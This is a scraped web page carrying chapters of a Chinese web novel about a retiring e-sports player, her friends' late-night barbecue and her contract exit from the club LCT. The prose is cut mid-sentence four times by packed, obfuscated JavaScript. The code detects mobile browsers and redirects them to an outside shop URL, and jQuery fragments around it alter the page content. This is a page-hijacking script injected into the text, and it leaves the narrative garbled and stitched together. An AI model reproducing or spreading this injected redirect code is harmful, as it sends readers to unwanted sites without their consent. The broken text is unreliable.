p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296936|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下面。 佘逸孑然立在街边,看了眼时间,刚过十二点,这个点的沪都介于人声鼎沸和寂静无声之间。 明天是周中,应酬的还没尽兴,加班的还没回家,街上的人都神态分明。 如果今天没有改道回来找米勒,佘逸想,自己或许是赶去应酬的那波。 “走了,看什么呢,喂蚊子啊?” “还得走不小一段,”汤佳妮急急急,“快点的!饿了饿饿饿!” “来了。” 二人拐了两条街,高傲的CBD大楼被甩在了身后,前面只有一棵老年生的梧桐树,树旁立着一个突兀的朋克风酒柜,硬朗的切割和黑色涂漆,不是熟人不知道这是一家烧烤店的店门。 汤佳妮曾经调侃老庞这地方不像是吃饭的,像接头的。 “热死了热死了,给我开瓶冰的,”汤佳妮一边推门一边把身上的重金属往下扯,“不是我说啊庞哥,你这儿真不好停车,赶紧的搬到嘉世去。” “成啊,你投资我今儿就收拾。” 庞勇是个人如其名的壮汉,两条花臂再加上满背,江湖上都叫他“勇哥”,只有这死玩意儿叫他“庞哥”,听着像“胖哥”。 他从背后的立式冰柜里提出几瓶冰啤,把其中一瓶起了盖,越过烤架递给汤佳妮。 “热就别穿那么多,穿个皮夹克,身上都能开五金店了嘿。” “嗐,这不是为了装逼么,谢了哈。”汤佳妮把脖子上那些叮了当啷的都扔给庞勇,急冲冲往包厢里去。 “我烤串儿呢!” “勇哥,给我吧,我拿进去。” “回来啦?” “回来了。”佘逸撑在烤台上,把汤佳妮的零碎收好,“还是老位置?” “老位置。” “等会儿来聚。”佘逸拍了两下台子,表示先走了,庞勇忙起来只抬了下头。 包厢门虚掩着,还没走近,佘逸就听见一阵嚷嚷。 “……快点的,先给我吃一口。” “喏这个,喂!这是我的,我吃过的!狗啊!!” “就没有人来管管她?” “听见了吗,当个事儿办!” 一听就是汤佳妮和尤珍年又卯上了,她俩从小对头就杠,干多少年了也没散成,找道士批了说是孽缘。 “成,回头我给勇哥说说,以后狗和汤佳妮不准进。”覃青鸠就坐在门口,佘逸一推门就递给她一支蟹腿,“哟,来了啊,大忙人。” “快坐,老庞说今儿早上到了只好蟹,我叫他留着做三吃,碳烤的刚上呢。” 葱烤帝王蟹,老庞的特色,不用腌料,只讲究火候,葱丝一燎,鲜甜最劲。 汤佳妮那头抢来的已经吃完了,两眼绿光地看了过来,佘逸一吓,赶紧埋头扒拉。 “妈呀——啧啧,她那喉咙别是个漏斗吧,下水道都没那么通的。”尤珍年眼睁睁看着汤佳妮跟没嚼一样咽了一块肉,表情有些许狰狞,“一想到这样的玩意儿一会儿还得来一个,我这心脏就嘎嘣嘎嘣的。” “都让让让让,饿死了饿死了!” 真是言出法随,高芸炮弹一样从走廊上扎过来,边跑边解裤腰带,穿高腰裤只会影响她发挥。 “哈哈,说曹操曹操到,你过来点,”覃青鸠一把把尤珍年扽过来,让出战场,“让她俩对着吃吧,咱再点一波。” 高芸坐下双手一挥是大开大合,那头汤佳妮已经杀得是七进七出了,庞勇端着两盘串进来,领着一本菜单出去。 “快给温简打个视频过去,趁着人齐咱们碰一个,今儿晚上不醉不归!” “傻鸠,现在已经是‘第二天’了。” “已经‘第二天’了?那只好醉到‘今天’了!大家——举杯!” “干杯!” “干杯干杯——” 酒酣串足,尤珍年翻身过来躺倒在佘逸身上,慢悠悠啜饮着佘逸巨资贡献的剑南春,杯酒上头,夸张地从喉咙里叹出一声“嘶哈——” “辣。” “辣就喝牛奶。”汤佳妮习惯地要和尤珍年干仗。 “你管呢?” “就管了,不识货就去小孩那桌。” “你丫——” “给我开洋酒来,喝不趴你。” 众人连忙收拾东西挪位置,全都挤挤挨挨偎在佘逸旁边,免得对面那俩斗鸡互啄,血溅到身上。 7. 干涸之夏(七) 高芸暗中和覃青鸠对上眼神,打开了手机录制键,正狗狗祟祟呢,门突然打开钻进来一座肉山,两人结结实实地被吓了一哆嗦。 “谁要的抓钱爪?”庞勇抄着几把钢叉,叉子上头赫然是比着中指的大鸡爪子。 “我的我的,”高芸伸手去拿,接过来发现居然有点压手,“嚯——哪找的鸡,脚挺大啊。” 老庞的鸡爪子指定不一般,看着跟挂了芡似的剔透的,芝麻一撒,不像是烤的,像煮了焗的。 “特供晓得伐,大脚鸡。” “嘁。” 高芸一吃才发现这鸡爪是扒了骨头的,掌中宝的软骨被扣了,内里头包了芯子,能尝出来的有鲍鱼和海参的丁子,尝不出来的都囫囵下肚里去了,得再吃一个。 一把吃完了她都还在琢磨:“这东西究竟谁研究的呢?” “吃去吧你,”勇哥一笑,查了下单子,把围裙摘了,“得了,后头点的都烤得差不多,来你们这儿歇会儿。” “哟!喝上了这是?” 勇哥打眼一瞅,就知道那两头神兽又干上了,熟稔地去开酒柜,小杯子哐哐往桌上一摆,冰桶一撂,魁梧的190大汉叉手坐过去压阵去了。 这包厢庞勇平时不接待人,被他塞了个酒柜,年年来都要被汤佳妮和尤珍年打扫一回,可想而知这俩有多能喝。 “你们今天谁坐庄?” 佘逸撩了撩手,对面已经开干了,玩儿的“瀑布”,白刀子进红刀子出,杀得那叫一片鲜血淋漓。 一轮过去,佘逸听到了金币流逝的声音。 “悠着点,刚失业。”庞勇还准备拿酒,佘逸忍不住挽回一下远去的余额。 勇哥默默出去换了吧台的“谢续别生”,这酒专门用来放倒前来买醉的客人,度数高,入口纯而不涩,后劲却大,俗称“三杯倒”,起到一个懵逼不伤脑的效果。 “你……嗝……你丫服不服!” “不……不服,这……这才哪到哪啊!” 桌上的硝烟散去,尤珍年指着庞勇叫了汤佳妮的曾用名,看样子是火候到了。 高芸刚好也吃得差不多了,把蹲在地上找尤珍年的汤佳妮提溜起来:“走啦——” 覃青鸠这头缠着佘逸打了几把solo,差点就要第四次被佘逸用阿难丹砂了,听到这话赶紧删后台退出,再不退她都要被打退游了。 “走了走了,回去了,这把就让你了。” “拿来吧你。”高芸斜她一眼,自动无视覃青鸠强行挽尊的话,夺过她的手机切开游戏看战绩。 第一把玩的鲸奇骨,大肉,败。 第二把选了兰格利亚,版本t0法师,大败。 第三把掏出了佘逸的MVP英雄越女,大败而归。 对位佘逸,覃青鸠大张旗鼓地玩赖,限制她只能玩原始人,炮台英雄阿难,可爱的木头小人,无脑一二三哒哒哒,三拳打碎覃青鸠的职业梦。 “完虐。”高芸把手机还给她,简直没眼看。 “呵呵,惜败惜败。” 高芸指道:“咋弄?我明天要上班,谁把这俩整回去?” “早就联系老吴了,估计现在人都快到了,反正她俩住得近,回去说不准还能二摊呢,”覃青鸠拉着佘逸打的几把毫无游戏体验,不解瘾,还有点心痒痒,“咱们再玩儿会呗?” “三点了亲,再玩我洗把脸就上工位去了。” “这不挺好的,哞的一声就开干啊。” “死啊!!” “走吧,明天我还得去趟杭州,LCT那边还有点事情没收尾。” “嗷。” “哦。” 一下子就兴致全无,高芸和覃青鸠一人揪一个醉鬼往外面走,佘逸留下来结账。 老庞的店装修得十分前卫,青色的灯带环绕成主色调,中间是现场乐队,靠后是他自己设计的“生态烤台”,老庞说每一块肉都有它自己的位置。 店里的氛围也不像烧烤店,更像是live house,酒精,烧烤,还有年轻的萨克斯乐手。 刚到沪都的前几年,总有人天真地相信大城市的机会就是母体里俱裂生长的胚胎,抓住时机,就能长出一颗钢铁涌流的心脏。 佘逸在歌手的电子钱箱中投了1000元,买下了这个年轻人黎明之前的夜晚。 爵士乐彻夜不止。 …… 佘逸到家时已经接近四点,血液里兴奋的余波还未过去,索性不睡了,赤着脚去浴室放水。 这房子只有她一个人住,大平层,户型老得可怕,一根棍上支出几道叉,是长驱直入的三室一厅。 家装也简单得过分,客厅正对着凌晨薄雾的江面,一座直排沙发,一张地毯,对面墙上一半挂着任天堂的游戏外设,一半是《权力王座》的独立demo。 她过去热衷于整晚都陷在这里,等待江心的日出。 (佘she、万仞不孤山、非我……)群聊(6) 23分钟前 [万仞不孤山]:到了(困)(困)(困) [非我青]:1 [万仞不孤山]:[视频](123.2mb) [万仞不孤山]:(贱笑)(贱笑)桀桀桀桀桀 [非我青]:啊哈~跟一个 [非我青]:[视频](150.6mb) [万仞不孤山]:管上 [万仞不孤山]:[视频](230mb) [非我青]:大(dà)你(nǐ) [非我青]:[视频](517.6mb) [万仞不孤山]:(惊)(惊)Σ(????)? [万仞不孤山]:要不起…… 佘逸泡澡出来,一身白t和居家短裤,脖子上挂着毛巾,发梢还往下滴水,她比以前清瘦了不少,脚踝落在地面上,只有青幽幽的骨头。 她盯了眼群,消息还显示在发送中,转身去厨倒了一杯冰水。 [佘she]:[视频](722.3mb) [非我青]:我去,什么时候! [万仞不孤山]:我去,什么时候! [万仞不孤山]:(牛)(啤酒)啊佘小逸,双视角直拍,你不去当站姐真是可惜了(老人捶胸.jpg) [佘she]:承让(抱拳)(抱拳) 佘逸翘腿窝在沙发上,嘴角微不可察地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296937|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上升了一个像素。 群内的战况因为她的挑衅进一步升级,众人把战线拉长至近三年,汤佳妮和尤珍年的囧照比格一般在群里横冲直撞。 [姓温的商人]:@[万仞不孤山]哈哈哈哈哈哈哈,怎么还有这张!! [非我青]:我记得这好像是去年过年那会儿吧@[万仞不孤山] [万仞不孤山]:Bingo~逢年过节给大家磕一个没毛病吧? [姓温的商人]:哈哈哈哈没毛病,简直太是那个了(律师的赞赏.jpg) 佘逸点开原图,画质实在感人,活像在互联网上包浆了二百年,可见高芸当时险恶的拍摄环境。 啊,原来这都是一年前的事了。 去年春节,大家相约在佘逸家过年,她在群里发了句“带瓶白醋上来”,结果每人上楼都提了一瓶白醋。 二傻上楼和买醋的时间完美地错开了,却卡在了同一时间进门,因为又争又抢,进门时双双跪地。 大年三十头一跪,伴随着挥发不去的醋香。 “得,找保洁吧。” “这个点哪有保洁啊?” “那把地毯收到外边去吧,初五干洗店返工,到时候叫他们上门。” “汤佳妮报销。” “我看你对我的占有欲很强嘛尤珍年。” “你有病啊?” “我说的是我的钱,你以为我说的什么?” “谁特么稀罕你那臭钱?” “你,你稀罕。” “我稀罕你大爷!汤佳妮我告诉你……” 两人吵吵闹闹,只有覃青鸠眼里有活儿,把地毯卷起来挪到了阳台上,温简时差没倒过来还在屋里躺尸,高芸在厨房帮忙,透过玻璃偷拍,问了她一个问题。 “听温简说,你不准备继续呆在LCT了?” “是有这个打算。” 那时LCT副总教就有表露出解散女队员的意思,让佘逸所在的混合联赛组和俱乐部已经走向末路的男联互换热度,要让如日中天的热门战队改组去炒冷饭,这不符合利益,被资方回绝了。 这事只不过是试探的由头,改并综合赛事的风声越传越实,大佬们不会选择“女联”这样风险极大的项目,并组的念头在悄悄织造。 “有别的俱乐部挖你?开价多少?” “没有俱乐部来找我。” 佘逸抬头,去年弄脏的地毯被她裁剪成了挂毯,现在正挂在客厅中央的墙面上。 江心薄暮的初日缓缓蔓延到客厅,迎光刚好可以看见白色的绒布上,印着一句烫金的西语: “Voy hacia las estrellas que me pertenecen.” 我将奔向属于我的群星。 “是我自己打算走。” “滴滴——滴——” 阳台的衣服洗好了,佘逸松松眉心,伸了个懒腰出去晒衣服。 拿外裤的时候“叮啷”一声,地面忽然坠触一块反光的金属片,阳光弹动,在玻璃上反射出点点光斑,混着水影像落了一颗微弱的星。 她神色微动,不由感叹有时候缘分的确格外奇妙。 8. 干涸之夏(八) 今晚在回程的车上,佘逸刷到了一条有意思的小短片,标题是“就这样绝处逢生——致莱纳斯·米多利安”。 莱纳斯·米多利安,[权力王座]新赛季上线的人气英雄。 艾加德里境的米多利安家族,家族的勋章就是为帝国献身,战至最后一人,莱纳斯的父兄都殒身在帝国的各大战役之中,她是家族盛放的最后一朵血色蔷薇。 视频开头,是蔷薇男爵“”终末之战”的cg和海蓝“吾忘于密塞海”人设pv的催泪混剪,处于不同时空的莱纳斯和海蓝在隔空对话,他们每一句呼应的台词都冥冥之中指向相通的使命。 罪火连绵的战场逐渐重合,那要人心碎的结局仿佛要再一次划破人们的心上的伤口。 BGM慢慢变成涩谷里的风声,屏幕逐渐变暗,来自战场的萧索呼喊还犹在耳边。 [拿什么留住这片海](弹幕高赞):补药啊……呜呜呜,两个小苦瓜(大哭)(大哭)(大哭) [帝国之刺而非糜烂之花](弹幕高赞):我不敢看了啊啊啊啊!up主,庸医啊,烂手回冬呜呜呜呜呜 视频制作者特意留出的空白帧将所有人的情绪调动到最高潮。 在所有希望销声匿迹之时,黑暗中飞出一梭子弹,风声变为颤颤擂鼓,身披红甲的蔷薇男爵手握长枪,朝前奔去,BGM彻底转成昂扬的弦乐。 凄烈的古战场切换为游戏内的对局,那朵尖锐的刺蔷踏乘海浪,刺破永夜。 这是一个必死的局面:草丛已悄然潜入敌方打野和上单,塔下射辅二人步步紧逼。 蔷薇花傲然抬头,这是一个必死的局面吗? “我,莱纳斯·米多利安,决不会在这里倒下,我乃帝国之刺而非糜烂之花。” “枯竭的每一条河流都是未偿还的债务,大海会亲自将它讨回。” 海水泛起涛涛波纹,荆棘之花璨然,莱纳斯的枪声与鼓点鸣和。 “喝啊——” cg里鲜血怒放的红色花朵和游戏里的技能重合,走位,换位,截杀!那个永远沉睡于奥比斯战场的帝国之花,在游戏里活了下来。 “就这样绝处逢生吧,莱纳斯·米多利安。” 画面褪去,长久的留白,是玩家送给莱纳斯最好的if线。 这条视频在佘逸刷到的时候才只有百赞,现在打开已经有了近60万播放和上万点赞,热度只增不减。 她注意到这个视频不是因为剧情,而是操作,视频中蔷薇男爵的操作,和她近期关注过的某个国服ID的风格如出一辙。 抗压一流,走位刁钻,绝不放弃任何一丝机会输出。 这样的品质很适合成为职业选手。 而巧合的是,她得到了邀请这位选手的机会。 佘逸看向阳台上听风作响的钥匙串,是那个面馆小老板落下的。 手机页面还停留在评论后台,视频自动循环播放,再次传来海蓝和蔷薇花的台词,为避免和官方的版权纠纷,视频博主使用了自己的配音。 充满生命力的女声,和她在那个停电的傍晚所听到的一样。 博主[萧萧雨歇](置顶):此视频鸣谢我心目中的国服一射@[啊呜一口大白鲨](撒花)(撒花) …… “嘿呀——乌鸦坐飞机——” 乔宝莎从浴室毛茸茸地出来,虎啸一声弹射/上床,头发湿漉漉地搭在肩头,床单上飞落一片湿痕。 [对方请求添加您为好友][佘she](同意)(忽略) “莫?来自手机号查找?” 乔宝莎看了眼时间,早上5点36,谁会在这个点给她发消息? 她一脸狐疑,边摸出床头柜的毛巾擦拭头发,边点开好友申请栏。 [佘she]:楼摆香小面庄,昨日下午16:30至晚18:……(展开) 她立马反应过来是佘逸的好友申请。 [佘she]:楼摆香小面庄,下午16:30至晚18:30左右,雨夜寻亲,通过外卖平台电话添加。 (您已添加了[佘she],以上是打招呼的消息。) [佘she]:你好,我是佘逸。 [瞧宝宝鲨]:你好你好姐,备注乔宝莎就可以了(托脸)(托脸) [瞧宝宝鲨]:姐,请问有什么事吗? 暂时还没回复,乔宝莎等会还得去店里帮忙备菜,得赶紧吹头。 自来卷吹头其实很快,但乔宝莎格外怕热,尤其讨厌吹完之后脖子湿润一块的感觉,屋子里的电吹风声出bug了一样卡顿,吵吵停停。 可怜的吹风机被乔宝莎玩成了老掉牙的涡轮增压器。 “莎莎啊——不要玩吹风机了,动作快一点,等会高三补课的要上学了!” “来了——马上!” “快点——” “马上!!” [瞧宝宝鲨]:不好意思姐,店里马上要忙了,我等会再回复您(抱歉)(抱歉) [瞧宝宝鲨]:(先去逝了.jpg) [佘she]:你先忙,你的钥匙好像落在我朋友车里了,忙完麻烦给我个地址,谢谢。 [佘she]:(图片) 佘逸不着急查看乔宝莎的消息,起身稍微活动了一下,到书房取出两三沓温简新传来的文件。 那么,现在该考虑和LCT的事了。 解约手续基本都在温简手中处理,无非就是钱的事,可以拖后考虑。 但是—— 她的账号,包括[权力王座]两个游戏账号在内,她所有的公开社媒账号都在LCT手里,并且所有涉及“棠离”字词的相关领域内商标都已被注册。 佘逸凝眉,又喝了一口冰水,这样的刺激有助于她思考。 “棠离”这个ID他们不可能放手,光是三个FMVP皮肤就已经包含了巨大的商业价值。 合同里写得很清楚,她参与赛事仅仅属于劳务派遣,她在联盟的注册身份是LOP游戏寰宇有限公司——LCT的其中一个皮包公司,比赛奖金和商业代言都由该公司把持。 就好比艺人和经纪公司的关系,她打比赛,公司做运营,他们之间不分成,只有基础工资和选手奖金。 致命的是,[权力王座]联盟规定,一位选手只能有一个注册身份。 就算是“棠离”ID的游戏账号都无所谓,注册身份必须要拿回来。 这也是佘逸此行与LCT谈判的目的。 优势并不在她,这会是一场恶战。 昨天本来是LCT的队总约她出来的一个私局,不知道是不是商讨这事,但最后她临时转道约了米勒,推拒的时候对方回复得十分干脆,让她可以随时再联系,估计LCT那边不会主动提起转让注册身份的事。 今天她主动提出要处理一些离职上的手续——她特地留了部分扫尾工作,对方也答应得十分痛快,对待她的态度似乎是停留在“同事一场,好聚好散”。 是软钉子还是装闷子,去会会就知道了。 倒是—— 佘逸敛眸思索,食指无意识地贴着杯口绕圈,忽然想到了一个人。 [佘she]:今天下午回杭州,晚上有没有空聚一聚?地方你选。 这么多年佘逸在LCT积攒下的人脉只能说是聊胜于无,一直处于谈得拢那我们就是不错的利益共同体的状态,这在LCT高层的解读里就是“识大体”。 基于佘逸的“识相”,他们之间的解约流程并无外传的那么刀光剑影,虽然在合同上处处受限,佘逸也从LCT的大蛋糕上撕下了一块肉。 她没要那笔赔偿金和高层“施舍”的一套位于杭州市中心的不动产,而是划走了部分代言和LCT名下的一个外设体验馆。 这批代言品类杂乱,但共性都是做得不温不火的,有的甚至和佘逸的关系都不大,连黄昏产业链都算不上。 再加上那个没做成功的外设体验馆,市值总价也只比LCT原先开的条件浮动了一点点。 驰骋商场多年的老狐狸暂时打量不清佘逸要翻个什么水花,佘逸提出的条件不过是一些不痛不痒的小卡拉米,最值得关注的外设体验馆都没什么流水,地段也并不热门,况且还是办的贷款。 佘逸难道要用那些快要失值的代言去负担月供吗?她要做什么?做生意? 当初对佘逸的背调都很清楚,高中辍学,无背景无关系,收养家庭,这么多年从没见她和家里联系过,她?做生意?哈哈! 这些搞电竞的退役了就老老实实地开开直播,刷刷金币 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296938|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得了! 还有那份将死佘逸的合同在——她亲笔签下的竞业禁止,即便她一直有点小聪明,LCT高层还是讥笑着拍板了。 这些垃圾连断舍离都称不上,算是处理给她了。 整理完这些材料,乔宝莎轰炸过来一连串的消息。 [瞧宝宝鲨]:啊啊啊啊迅速滑跪orz(举手)(举手),不好意思啊姐,抡铲抡到忘我了(右)(左),现在才看到消息(哭)(哭)(哭) [瞧宝宝鲨]:⊙?⊙!居然是那个时候掉的! [瞧宝宝鲨]:姐不用麻烦了,我这边有备用钥匙,下次你回渝都得时候再顺便回来吃碗面吧(比心)(比心) [瞧宝宝鲨]:(靴靴老大.jpg) 即便是文字,佘逸也仿佛听到了小姑娘上窜下跳的声音,不由莞尔。 [佘she]:(图片) [佘she]:所以这些钥匙扣就算是抵押给我了? 乔宝莎的一串钥匙也很有她鲜明的风格,她的钥匙绝不会是孤零零的,大大小小的钥匙扣挤在一起,可以填满世界上任何一只甜蜜的口袋。 佘逸截图的是钥匙扣军团里[权力王座]角色的联名款,限量发售的盲盒版本,这绝对是个不小的诱惑。 等待了洗澡水蓄满的时间,乔宝莎卸甲投降了: [瞧宝宝鲨]:emmmm姐我还是想把她们赎回来>-<(双手)(双手)…… [瞧宝宝鲨]:(抬不起头.jpg) [瞧宝宝鲨]:这里附上地址(链接)文本信息 [瞧宝宝鲨]:到付就好了姐,一定一定要到付! [瞧宝宝鲨]:(万分感谢.jpg) [佘she]:收到。 佘逸叫了快递上门,了却一桩事,忽而感觉到腹中一阵饥饿,一看时间发现已经早上十点过了。 一夜没睡,在肾上腺素褪去的过程中,困意会犹犹豫豫地漫上来,她得赶在这个过程中吃一顿饭,然后补充咖啡因。 至于补眠,她长久的作息表示,这是一个见缝插针的选项。 离开前没来得及约家政,不知道冰箱里还剩了些什么,佘逸先做了杯咖啡,再挑挑拣拣从冰箱里找出来部分食材。 决定做个开放三明治,配牛油果三文鱼。 汤佳妮评价佘逸只有在做饭的时候才最接近人,大多时候她都以为这玩意儿是不需要排泄的光合生物。 她会做饭以来就改为信奉进食是一种补充高质能量物质的高雅运动,对食物的要求就是对生活的要求。 简而言之,就是挑食。 这人更是鬼精,不好吃的东西就堆在盘子里磨蹭,假装吃了很久其实一口没吃,但她不说,所以大部分饭局佘逸都是空着肚子回家。 几年前佘逸根本不会做饭,只是挨饿,高芸怕她再这么下去可能直接飞升了,搜罗来了中西餐的各位厨师,再加上自己家的阿姨,联合倾囊相授,总算是让此人学会了“饿了会吃饭,困了要睡觉”。 ——学会了一半。 后来发现同样四体不勤的温简留学一趟回来也成了半个大厨,高芸一整个扶额叫痛,早知道这么简单就让佘逸直接去当留子好了。 “不,她更可能直接变成盒子。” “我只是懒得做饭,她是不明白为什么要做饭。” 如果不是高芸,佘逸不会发觉满足自己的口欲是一个正当的需求,她可以把时间和精力花在“学习做饭”上。 她天然地隔绝这些有关“享乐”的神经反射,就像发现食物不好吃,她的反应是“不吃就行”,而不是“吃点好的”。 “喂,对的,今天回,你什么时候有空?” “待两天左右,还有一些收尾工作。” “嗯,是离职的事,你这个月是外派了吗?最近没什么你的消息。” “……对,是有个事想麻烦你。” 佘逸刚好吃完,收拾碗碟的时候接到了袁朗的电话,她是自己曾经在LCT的PD,现在升职做到了管理层,算是半个朋友。 “逸姐,我能帮你的不多,领导层的机锋我参与不了,我就是个小角色。” “……但是,我可以帮你试试,逸姐,你好好的。” “我会的。” 9. 干涸之夏(九) 连轴转落地杭州是下午两点,佘逸在飞机上小睡了一会,落地后第一件事情就是联系了队总王佑群。 [佘she]:王哥,我现在刚落地杭州,您看什么时候有空,我回一趟俱乐部(握手)(握手) [一队王佑群]:语音43″ (转文字:那个小佘啊,现在一队约了训练赛,在别人的客场,现在回俱乐部的话没什么人,你看是派车来接你还是等一会) 佘逸咂摸了一下他的话,离下个赛程还早,她退出之前LCT就已经拿到小组赛出线资格,说这些估计是搪塞。 [佘she]:不用麻烦了王哥,训练赛为重,我到附近转转(玫瑰)(玫瑰) [一队王佑群]:语音12″ (转文字:好的好的小佘,这边大概四点半左右结束,到时候我联系你) [佘she]:(/ok) 王佑群是两年前转部门过来的队伍总教练,上一个队总被男联那边挖走了,丢过来填坑的这个是个务实派,在训练上只能说得上个无功无过,但在人事钻营上可谓是心思活络。 看人下菜碟的本事练得十分圆滑,有的话说出来看似热络,实则是拐着弯的敷衍,佘逸以前在队里得时候就不少领教。 从前佘逸是一队的大核,再怎么受挤兑他也得象征性的端端水,现在么,哼哼,晾着吧。 今天大概率不用去俱乐部那边了,佘逸空出了一截时间,预备先去外设馆附近看看。 LCT名下这个外设体验馆本来只是个概念企划,但近几年《权力王座》的开发公司——次元网络,接连推出了几部依托角色故事为蓝本的魂游,还处在独立demo阶段,佘逸家里也收了几部比较喜欢的。 这条产业线是次元网络散发出想要进军pc端的信号,几大俱乐部都有意向合作,LCT彼时正深陷财务危机,步子迈得很谨慎,想参与却迫于没有实力。 于是只浅浅启动了这个外设体验馆的项目,在杭州本市不同地段进行试点,几乎以失败告终,最后只保留了临近本部大楼的一家和新区游戏城里的一家。 “到了,小妹你看就在这里下车行吗?这前面有点不好掉头。” “从右边下,对对,注意安全哈小妹,辛苦走两步。” 到了。 新区这边才开发出来,年轻气息很重,商业区专门划分出来了游戏、漫宅等二次元板块,附近的场馆时常租借给各大漫展作为巡展场。 商铺招租的也多是谷子店、主题店、Lolita服设店、汉服馆等等,游戏外设体验馆在这里并不凸显,甚至太过日常。 “LCT酷顽外设体验馆”,门头是LCT的队徽和标志性的蓝紫配色灯带,非常刻板印象的“电竞风格”。 佘逸坐在体验馆对面的女仆主题咖啡店,观察当日人流。 “主人,现在我要为您吟唱让食物变好吃的魔法咯!请您伸出双手~” “嗯……这样?” 咖啡店的女仆业务水平非常高,即便是面对佘逸这样四肢不协调的冰块脸客人,也能轻松应对,她躬身双手托住佘逸的手腕:“像——这样,现在我要说咒语咯,主人准备好了吗!” “好的,你请说。” “准备好了吗!” “准备……好了?” “美味的魔法!让食物变好吃的梦幻咒语,?松松软软?甜蜜无限?——华夫饼君,要变得更好吃哦!啾咪~” “施法”完成后,女仆才珍重地将装饰华丽的华夫饼放到佘逸手上,并低头用兽耳头饰蹭了蹭她的手背:“请主人奖励小帕一个摸摸。” 这也是女仆们的业务范畴之一,一般女性客人会有额外的贴贴服务,即第一视角抚摸兽耳的拍照打卡,大多数女客都是因为这个打卡服务慕名而来。 但佘逸并不知道,她思索片刻,迟疑地摸了摸女仆的头,使假发发生了位移。 佘逸愣住,佘逸无措,佘逸手忙脚乱。 业务能力超强的女仆领悟到眼前的客人并不是圈内同好,马上转换态度向佘逸介绍了店内的服务内容,并问她需不需要拍照留念,在佘逸婉拒后为她补上了一份冰激凌。 “打卡是包含在套餐内的,这份就补偿咪这次的体验吧~” 甚至微量地察觉到佘逸大概雷“主人”这个称呼,简直就是销冠! 反观体验馆那边,境况截然相反。 今天虽然是周中,但商场附近还是有不少大学生,正值暑假,刚好约上朋友一起来消磨时间,也有不少人进馆感受。 但是前台基本就钉死在吧台后面,只有脖子以上进行圆周运动,像背了壳的王八。 在周遭服务业内卷的行情下,这样的态度并没有留住多少目标人群,多数人在店里略看看就离开了。 没人的时候前台就木着脸刷短视频。 佘逸在咖啡店待到了下午四点整,对面体验馆只有两对情侣留下,客流量只能用惨淡来形容。 她转头去平台上刷了一下外设馆的评价,评分3.8,多数表示,如果不是这里能体验到[权力王冠]的独立demo,自己根本不会来。 差评集中在服务态度,好评主要是设备比较新,以及可供选择的套餐比较多元,但都是一年前的评论了。 她扫了一下近期的带图反馈,设备保养情况非常差,LCT那边稳定修复换新设备的只有本部总店,这家店过不了多久就会闭店关门。 事已至此,佘逸决定去外设馆那边看看。 “欢迎咪下次再来~” “团宝,你帮我收一下桌子,我晚上还有组会,要来不及啦!” “没问题。” “诶!小米,这里你快来看,留给你的。” “啊,什么东西。”姜小米从里间出来,手里还拎着帕恰狗的头饰,店里的兽娘都是固定的,她需要把头饰还给交班的同事。 “喏。”陈圆圆递给她一张留言条。 “希望你拥有幸运的一天。” “谁留的?刚才那个酷酷的姐姐?” “嗯,没想到是冷脸萌诶。” 姜小米摩梭着纸上的字迹,最近导师看她更加不顺眼了,已经留校干了半个月活,不知道能不能苟到项目结束。 希望你拥有幸运的一天,但愿如此吧! “小米!你怎么还在这?” “妈呀完蛋了,走了走了走了……” 佘逸这头在体验馆里转悠,前台是个挑染加爆顶的小年轻,吧台电脑旁边是长时间没清洗过的烟灰缸,散乱戳着几根烟蒂。 她进店只看不说话,前台灰着脸扫了她一眼,也没说话。 店面是三间打通的转角,面积不小,但是设计稍显过时,强反光墙面加上流线形吊顶,墙面和天花板都嵌有灯带,和电子产品专卖店差不多。 设备和游戏都不是最新款的了,店里除了pc标准外设,还有手柄,vr眼镜和手持运动传感器等等,品类还算齐全。 店内划分了大厅位、隔间隐私位以及三个包厢,中心区域是展台,灯柱上有大屏循环播放LCT的比赛转播。 也是巧,播放的是佘逸转会LCT的首秀,当时还流行“赏金战”。 [权力王座]早期火起来就是因为期独特的“赏金”玩法——杀掉悬赏榜上有名的“赏金猎人”,获得ta的所有赏金。 “赏金酒馆”就坐落在双方阵营中央的灰色地带,只要在选英雄初始界面添加“通缉令”,就可以入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296939|198575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆勾选任务,完成任务——获得增益,不管你是圣城教徒还是君王座下,来到这里都是平等的“罪犯”。 ——“赏金酒馆”内的视野是双盲的,即除了玩家自己,谁也看不到确切的赏金额。 悬赏榜上只有滚动的图标,局内可以通过观察敌方数值和行为进行推断。 